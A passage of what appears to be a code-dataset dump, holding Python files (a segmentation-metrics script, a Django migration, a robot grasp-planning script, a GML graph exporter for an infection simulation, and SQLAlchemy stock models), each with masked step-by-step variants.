enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best)\n print(tpos, tneg, fpos, fneg)\n\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n\n # auc_val = auc_roc(im1.copy(), im2.copy())\n print(file, stats[i])\n\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n\n with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_slides_level.txt'), 'w') as f:\n for i, s in enumerate(stats):\n f.writelines(\n '{},{},{},{},{},{},{},{}\\n'.format(files[i].split('_preds')[0], s[0], s[1], s[2], s[3], s[4], s[5],\n s[6]))\n\n with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n", "step-ids": [ 2, 4, 5, 6, 8 ] }
[ 2, 4, 5, 6, 8 ]
# Generated by Django 3.2.9 on 2021-11-10 13:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('settings', '0003_auto_20210814_2246'), ] operations = [ migrations.AlterField( model_name='building', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='group', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='lessontype', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='other', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='patterns', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='room', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='roomtype', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='salary', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='staff', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='student', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='subjects', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='teacherrole', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='teachertypes', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='timetable', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), migrations.AlterField( model_name='userprofile', name='id', field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'), ), ]
normal
{ "blob_id": "9dfbf14a2005aad87be82e5e482c6b0347f32f2c", "index": 8007, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('settings', '0003_auto_20210814_2246')]\n operations = [migrations.AlterField(model_name='building', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='group', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='lessontype', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='other', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='patterns', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='room', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='roomtype', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='salary', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='staff', name='id', field=\n models.BigAutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), migrations.AlterField(model_name=\n 'student', name='id', field=models.BigAutoField(auto_created=True,\n primary_key=True, serialize=False, verbose_name='ID')), migrations.\n AlterField(model_name='subjects', name='id', field=models.\n BigAutoField(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')), migrations.AlterField(model_name='teacherrole',\n name='id', field=models.BigAutoField(auto_created=True, primary_key\n =True, serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='teachertypes', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='timetable', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='userprofile', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID'))]\n", "step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('settings', '0003_auto_20210814_2246')]\n operations = [migrations.AlterField(model_name='building', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='group', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='lessontype', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='other', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='patterns', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='room', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='roomtype', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='salary', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='staff', name='id', field=\n models.BigAutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), migrations.AlterField(model_name=\n 'student', name='id', field=models.BigAutoField(auto_created=True,\n primary_key=True, serialize=False, verbose_name='ID')), migrations.\n AlterField(model_name='subjects', name='id', field=models.\n BigAutoField(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')), migrations.AlterField(model_name='teacherrole',\n name='id', field=models.BigAutoField(auto_created=True, primary_key\n =True, serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='teachertypes', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), migrations.AlterField(model_name='timetable', name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), migrations.AlterField(\n model_name='userprofile', name='id', field=models.BigAutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID'))]\n", "step-5": "# Generated by Django 3.2.9 on 2021-11-10 13:36\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('settings', '0003_auto_20210814_2246'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='building',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='group',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='lessontype',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='other',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='patterns',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='room',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='roomtype',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='salary',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='staff',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='student',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='subjects',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='teacherrole',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='teachertypes',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='timetable',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n migrations.AlterField(\n model_name='userprofile',\n name='id',\n field=models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import testr import testg import time def run(): parser = testg.OptionParser(description='Autonomous grasp and manipulation planning example.') parser.add_option('--scene', action="store",type='string',dest='scene',default='/home/user/experiment/data/lab1.env.xml', help='Scene file to load (default=%default)') parser.add_option('--nodestinations', action='store_true',dest='nodestinations',default=False, help='If set, will plan without destinations.') parser.add_option('--norandomize', action='store_false',dest='randomize',default=True, help='If set, will not randomize the bodies and robot position in the scene.') (options, args) = parser.parse_args() env = testg.Environment() try: env.SetViewer('qtcoin') env.Load(options.scene) robot = env.GetRobots()[0] env.UpdatePublishedBodies() time.sleep(0.1) # give time for environment to update SNP = testr.SimpleNavigationPlanning(robot) SNP.performNavigationPlanning() GP= testg.GraspPlanning(robot,randomize=options.randomize,nodestinations=options.nodestinations) GP.performGraspPlanning() SNP = testr.SimpleNavigationPlanning(robot) SNP.performNavigationPlanning() finally: env.Destroy() if __name__ == "__main__": run()
normal
{ "blob_id": "62857a015087500fec534ba1297d42a33ae61927", "index": 7153, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef run():\n parser = testg.OptionParser(description=\n 'Autonomous grasp and manipulation planning example.')\n parser.add_option('--scene', action='store', type='string', dest=\n 'scene', default='/home/user/experiment/data/lab1.env.xml', help=\n 'Scene file to load (default=%default)')\n parser.add_option('--nodestinations', action='store_true', dest=\n 'nodestinations', default=False, help=\n 'If set, will plan without destinations.')\n parser.add_option('--norandomize', action='store_false', dest=\n 'randomize', default=True, help=\n 'If set, will not randomize the bodies and robot position in the scene.'\n )\n options, args = parser.parse_args()\n env = testg.Environment()\n try:\n env.SetViewer('qtcoin')\n env.Load(options.scene)\n robot = env.GetRobots()[0]\n env.UpdatePublishedBodies()\n time.sleep(0.1)\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n GP = testg.GraspPlanning(robot, randomize=options.randomize,\n nodestinations=options.nodestinations)\n GP.performGraspPlanning()\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n finally:\n env.Destroy()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef run():\n parser = testg.OptionParser(description=\n 'Autonomous grasp and manipulation planning example.')\n parser.add_option('--scene', action='store', type='string', dest=\n 'scene', default='/home/user/experiment/data/lab1.env.xml', help=\n 'Scene file to load (default=%default)')\n parser.add_option('--nodestinations', action='store_true', dest=\n 'nodestinations', default=False, help=\n 'If set, will plan without destinations.')\n parser.add_option('--norandomize', action='store_false', dest=\n 'randomize', default=True, help=\n 'If set, will not randomize the bodies and robot position in the scene.'\n )\n options, args = parser.parse_args()\n env = testg.Environment()\n try:\n env.SetViewer('qtcoin')\n env.Load(options.scene)\n robot = env.GetRobots()[0]\n env.UpdatePublishedBodies()\n time.sleep(0.1)\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n GP = testg.GraspPlanning(robot, randomize=options.randomize,\n nodestinations=options.nodestinations)\n GP.performGraspPlanning()\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n finally:\n env.Destroy()\n\n\nif __name__ == '__main__':\n run()\n", "step-4": "import testr\nimport testg\nimport time\n\n\ndef run():\n parser = testg.OptionParser(description=\n 'Autonomous grasp and manipulation planning example.')\n parser.add_option('--scene', action='store', type='string', dest=\n 'scene', default='/home/user/experiment/data/lab1.env.xml', help=\n 'Scene file to load (default=%default)')\n parser.add_option('--nodestinations', action='store_true', dest=\n 'nodestinations', default=False, help=\n 'If set, will plan without destinations.')\n parser.add_option('--norandomize', action='store_false', dest=\n 'randomize', default=True, help=\n 'If set, will not randomize the bodies and robot position in the scene.'\n )\n options, args = parser.parse_args()\n env = testg.Environment()\n try:\n env.SetViewer('qtcoin')\n env.Load(options.scene)\n robot = env.GetRobots()[0]\n env.UpdatePublishedBodies()\n time.sleep(0.1)\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n GP = testg.GraspPlanning(robot, randomize=options.randomize,\n nodestinations=options.nodestinations)\n GP.performGraspPlanning()\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n finally:\n env.Destroy()\n\n\nif __name__ == '__main__':\n run()\n", "step-5": "import testr\nimport testg\nimport time\n\ndef run():\n parser = testg.OptionParser(description='Autonomous grasp and manipulation planning example.')\n parser.add_option('--scene',\n action=\"store\",type='string',dest='scene',default='/home/user/experiment/data/lab1.env.xml',\n help='Scene file to load (default=%default)')\n parser.add_option('--nodestinations', action='store_true',dest='nodestinations',default=False,\n help='If set, will plan without destinations.')\n parser.add_option('--norandomize', action='store_false',dest='randomize',default=True,\n help='If set, will not randomize the bodies and robot position in the scene.')\n (options, args) = parser.parse_args()\n env = testg.Environment()\n try:\n env.SetViewer('qtcoin')\n env.Load(options.scene)\n robot = env.GetRobots()[0]\n env.UpdatePublishedBodies()\n time.sleep(0.1) # give time for environment to update\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n GP= testg.GraspPlanning(robot,randomize=options.randomize,nodestinations=options.nodestinations)\n GP.performGraspPlanning()\n SNP = testr.SimpleNavigationPlanning(robot)\n SNP.performNavigationPlanning()\n \n finally:\n env.Destroy()\n\nif __name__ == \"__main__\":\n run()\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def node(peer: pd.Peer): if peer.data_infection is None: return '' return '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id ) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer) ) + '\n' + '\t' + ']' + '\n' <|reserved_special_token_0|> def edge(peer: pd.Peer) ->str: if peer.data_infection is None: return '' return '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer. data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer .data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer .data_infection.epoch) + '\n' + '\t' + ']' + '\n' <|reserved_special_token_1|> <|reserved_special_token_0|> def save_gml(path: str, peers: Sequence[pd.Peer]) ->bool: try: with open(path, 'w') as file: file.write(graph(peers)) except Exception: return True return False <|reserved_special_token_0|> def graph(peers: Sequence[pd.Peer]) ->str: return 'graph [' + '\n' + '\t' + 'directed 1' + '\n' + ''.join(map(node, peers)) + ''.join(map(edge, peers)) + ']' + '\n' def node(peer: pd.Peer): if peer.data_infection is None: return '' return '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id ) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer) ) + '\n' + '\t' + ']' + '\n' def node_label(peer: pd.Peer) ->str: return '' if peer.data_patch is None else str(peer.data_patch.epoch) def edge(peer: pd.Peer) ->str: if peer.data_infection is None: return '' return '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer. data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer .data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer .data_infection.epoch) + '\n' + '\t' + ']' + '\n' <|reserved_special_token_1|> <|reserved_special_token_0|> def save_gml(path: str, peers: Sequence[pd.Peer]) ->bool: try: with open(path, 'w') as file: file.write(graph(peers)) except Exception: return True return False def print_gml(peers: Sequence[pd.Peer]) ->None: print(graph(peers)) def graph(peers: Sequence[pd.Peer]) ->str: return 'graph [' + '\n' + '\t' + 'directed 1' + '\n' + ''.join(map(node, peers)) + ''.join(map(edge, peers)) + ']' + '\n' def node(peer: pd.Peer): if peer.data_infection is None: return '' return '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id ) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer) ) + '\n' + '\t' + ']' + '\n' def node_label(peer: pd.Peer) ->str: return '' if peer.data_patch is None else str(peer.data_patch.epoch) def edge(peer: pd.Peer) ->str: if peer.data_infection is None: return '' return '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer. data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer .data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer .data_infection.epoch) + '\n' + '\t' + ']' + '\n' <|reserved_special_token_1|> import pandemic as pd from typing import Sequence def save_gml(path: str, peers: Sequence[pd.Peer]) ->bool: try: with open(path, 'w') as file: file.write(graph(peers)) except Exception: return True return False def print_gml(peers: Sequence[pd.Peer]) ->None: print(graph(peers)) def graph(peers: Sequence[pd.Peer]) ->str: return 'graph [' + '\n' + '\t' + 'directed 1' + '\n' + ''.join(map(node, peers)) + ''.join(map(edge, peers)) + ']' + '\n' def node(peer: pd.Peer): if peer.data_infection is None: return '' return '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id ) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer) ) + '\n' + '\t' + ']' + '\n' def node_label(peer: pd.Peer) ->str: return '' if peer.data_patch is None else str(peer.data_patch.epoch) def edge(peer: pd.Peer) ->str: if peer.data_infection is None: return '' return '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer. data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer .data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer .data_infection.epoch) + '\n' + '\t' + ']' + '\n' <|reserved_special_token_1|> import pandemic as pd from typing import Sequence def save_gml(path: str, peers: Sequence[pd.Peer]) -> bool: try: with open(path, "w") as file: file.write(graph(peers)) except Exception: return True return False def print_gml(peers: Sequence[pd.Peer]) -> None: print(graph(peers)) def graph(peers: Sequence[pd.Peer]) -> str: return( 'graph [' + '\n' + '\t' + 'directed 1' + '\n' + ''.join(map(node, peers)) + ''.join(map(edge, peers)) + ']' + '\n' ) def node(peer: pd.Peer): if peer.data_infection is None: return "" return( '\t' + 'node [' + '\n' + '\t' + '\t' + 'id {}'.format(peer.id) + '\n' + '\t' + '\t' + 'label "{}"'.format(node_label(peer)) + '\n' + '\t' + ']' + '\n' ) def node_label(peer: pd.Peer) -> str: return "" if peer.data_patch is None else str(peer.data_patch.epoch) def edge(peer: pd.Peer) -> str: if peer.data_infection is None: return "" return( '\t' + 'edge [' + '\n' + '\t' + '\t' + 'source {}'.format(peer.data_infection.source) + '\n' + '\t' + '\t' + 'target {}'.format(peer.data_infection.target) + '\n' + '\t' + '\t' + 'label "{}"'.format(peer.data_infection.epoch) + '\n' + '\t' + ']' + '\n' )
flexible
{ "blob_id": "cb0b963c0e5aadcb67b5ee5f055fb9b6f21892fc", "index": 5292, "step-1": "<mask token>\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return ''\n return '\\t' + 'node [' + '\\n' + '\\t' + '\\t' + 'id {}'.format(peer.id\n ) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)\n ) + '\\n' + '\\t' + ']' + '\\n'\n\n\n<mask token>\n\n\ndef edge(peer: pd.Peer) ->str:\n if peer.data_infection is None:\n return ''\n return '\\t' + 'edge [' + '\\n' + '\\t' + '\\t' + 'source {}'.format(peer.\n data_infection.source) + '\\n' + '\\t' + '\\t' + 'target {}'.format(peer\n .data_infection.target) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(peer\n .data_infection.epoch) + '\\n' + '\\t' + ']' + '\\n'\n", "step-2": "<mask token>\n\n\ndef save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:\n try:\n with open(path, 'w') as file:\n file.write(graph(peers))\n except Exception:\n return True\n return False\n\n\n<mask token>\n\n\ndef graph(peers: Sequence[pd.Peer]) ->str:\n return 'graph [' + '\\n' + '\\t' + 'directed 1' + '\\n' + ''.join(map(node,\n peers)) + ''.join(map(edge, peers)) + ']' + '\\n'\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return ''\n return '\\t' + 'node [' + '\\n' + '\\t' + '\\t' + 'id {}'.format(peer.id\n ) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)\n ) + '\\n' + '\\t' + ']' + '\\n'\n\n\ndef node_label(peer: pd.Peer) ->str:\n return '' if peer.data_patch is None else str(peer.data_patch.epoch)\n\n\ndef edge(peer: pd.Peer) ->str:\n if peer.data_infection is None:\n return ''\n return '\\t' + 'edge [' + '\\n' + '\\t' + '\\t' + 'source {}'.format(peer.\n data_infection.source) + '\\n' + '\\t' + '\\t' + 'target {}'.format(peer\n .data_infection.target) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(peer\n .data_infection.epoch) + '\\n' + '\\t' + ']' + '\\n'\n", "step-3": "<mask token>\n\n\ndef save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:\n try:\n with open(path, 'w') as file:\n file.write(graph(peers))\n except Exception:\n return True\n return False\n\n\ndef print_gml(peers: Sequence[pd.Peer]) ->None:\n print(graph(peers))\n\n\ndef graph(peers: Sequence[pd.Peer]) ->str:\n return 'graph [' + '\\n' + '\\t' + 'directed 1' + '\\n' + ''.join(map(node,\n peers)) + ''.join(map(edge, peers)) + ']' + '\\n'\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return ''\n return '\\t' + 'node [' + '\\n' + '\\t' + '\\t' + 'id {}'.format(peer.id\n ) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)\n ) + '\\n' + '\\t' + ']' + '\\n'\n\n\ndef node_label(peer: pd.Peer) ->str:\n return '' if peer.data_patch is None else str(peer.data_patch.epoch)\n\n\ndef edge(peer: pd.Peer) ->str:\n if peer.data_infection is None:\n return ''\n return '\\t' + 'edge [' + '\\n' + '\\t' + '\\t' + 'source {}'.format(peer.\n data_infection.source) + '\\n' + '\\t' + '\\t' + 'target {}'.format(peer\n .data_infection.target) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(peer\n .data_infection.epoch) + '\\n' + '\\t' + ']' + '\\n'\n", "step-4": "import pandemic as pd\nfrom typing import Sequence\n\n\ndef save_gml(path: str, peers: Sequence[pd.Peer]) ->bool:\n try:\n with open(path, 'w') as file:\n file.write(graph(peers))\n except Exception:\n return True\n return False\n\n\ndef print_gml(peers: Sequence[pd.Peer]) ->None:\n print(graph(peers))\n\n\ndef graph(peers: Sequence[pd.Peer]) ->str:\n return 'graph [' + '\\n' + '\\t' + 'directed 1' + '\\n' + ''.join(map(node,\n peers)) + ''.join(map(edge, peers)) + ']' + '\\n'\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return ''\n return '\\t' + 'node [' + '\\n' + '\\t' + '\\t' + 'id {}'.format(peer.id\n ) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)\n ) + '\\n' + '\\t' + ']' + '\\n'\n\n\ndef node_label(peer: pd.Peer) ->str:\n return '' if peer.data_patch is None else str(peer.data_patch.epoch)\n\n\ndef edge(peer: pd.Peer) ->str:\n if peer.data_infection is None:\n return ''\n return '\\t' + 'edge [' + '\\n' + '\\t' + '\\t' + 'source {}'.format(peer.\n data_infection.source) + '\\n' + '\\t' + '\\t' + 'target {}'.format(peer\n .data_infection.target) + '\\n' + '\\t' + '\\t' + 'label \"{}\"'.format(peer\n .data_infection.epoch) + '\\n' + '\\t' + ']' + '\\n'\n", "step-5": "import pandemic as pd\nfrom typing import Sequence\n\n\ndef save_gml(path: str, peers: Sequence[pd.Peer]) -> bool:\n try:\n with open(path, \"w\") as file:\n file.write(graph(peers))\n except Exception:\n return True\n\n return False\n\n\ndef print_gml(peers: Sequence[pd.Peer]) -> None:\n print(graph(peers))\n\n\ndef graph(peers: Sequence[pd.Peer]) -> str:\n return(\n 'graph [' + '\\n' +\n '\\t' + 'directed 1' + '\\n' +\n ''.join(map(node, peers)) +\n ''.join(map(edge, peers)) +\n ']' + '\\n'\n )\n\n\ndef node(peer: pd.Peer):\n if peer.data_infection is None:\n return \"\"\n\n return(\n '\\t' + 'node [' + '\\n' +\n '\\t' + '\\t' + 'id {}'.format(peer.id) + '\\n' +\n '\\t' + '\\t' + 'label \"{}\"'.format(node_label(peer)) + '\\n' +\n '\\t' + ']' + '\\n'\n )\n\n\ndef node_label(peer: pd.Peer) -> str:\n return \"\" if peer.data_patch is None else str(peer.data_patch.epoch)\n\n\ndef edge(peer: pd.Peer) -> str:\n if peer.data_infection is None:\n return \"\"\n\n return(\n '\\t' + 'edge [' + '\\n' +\n '\\t' + '\\t' + 'source {}'.format(peer.data_infection.source) + '\\n' +\n '\\t' + '\\t' + 'target {}'.format(peer.data_infection.target) + '\\n' +\n '\\t' + '\\t' + 'label \"{}\"'.format(peer.data_infection.epoch) + '\\n' +\n '\\t' + ']' + '\\n'\n )\n", "step-ids": [ 2, 5, 6, 7, 8 ] }
[ 2, 5, 6, 7, 8 ]
from sqlalchemy import (Column, Integer, Float, String, ForeignKey) from sqlalchemy.dialects.postgresql import UUID from sqlalchemy.orm import relationship from .meta import Base, BaseModel class Stock(Base, BaseModel): __tablename__ = 'stock' name = Column(String(255), nullable=False) starting_price = Column(Float, nullable=False) current_price = Column(Float, nullable=False) max_price = Column(Float, nullable=True) min_price = Column(Float, nullable=True) starting_stock = Column(Integer, nullable=True) current_stock = Column(Integer, nullable=True) stock_type_id = Column(UUID(as_uuid=True), ForeignKey('stock_type.id')) stock_type = relationship('StockType', back_ref='stocks') user_id = Column(UUID(as_uuid=True), ForeignKey('user.id')) user = relationship('User') def __json__(self, _): return { "id": self.id, "name": self.name, "starting_price": self.starting_price, "current_price": self.current_price, "max_price": self.max_price, "min_price": self.min_price, "starting_stock": self.starting_stock, "current_stock": self.current_stock } class StockType(Base, BaseModel): __tablename__ = 'stock_type' name = Column(String(255), nullable=False) stocks = relationship('Stock', back_ref='stock_type') user_id = Column(UUID(as_uuid=True), ForeignKey('user.id')) user = relationship('User') def __json__(self, _): return { "id": self.id, "name": self.name }
normal
{ "blob_id": "7251d32918b16166e9b7c9613726e6dc51d6fea4", "index": 3834, "step-1": "<mask token>\n\n\nclass StockType(Base, BaseModel):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name}\n", "step-2": "<mask token>\n\n\nclass StockType(Base, BaseModel):\n __tablename__ = 'stock_type'\n name = Column(String(255), nullable=False)\n stocks = relationship('Stock', back_ref='stock_type')\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name}\n", "step-3": "<mask token>\n\n\nclass Stock(Base, BaseModel):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name, 'starting_price': self.\n starting_price, 'current_price': self.current_price,\n 'max_price': self.max_price, 'min_price': self.min_price,\n 'starting_stock': self.starting_stock, 'current_stock': self.\n current_stock}\n\n\nclass StockType(Base, BaseModel):\n __tablename__ = 'stock_type'\n name = Column(String(255), nullable=False)\n stocks = relationship('Stock', back_ref='stock_type')\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n 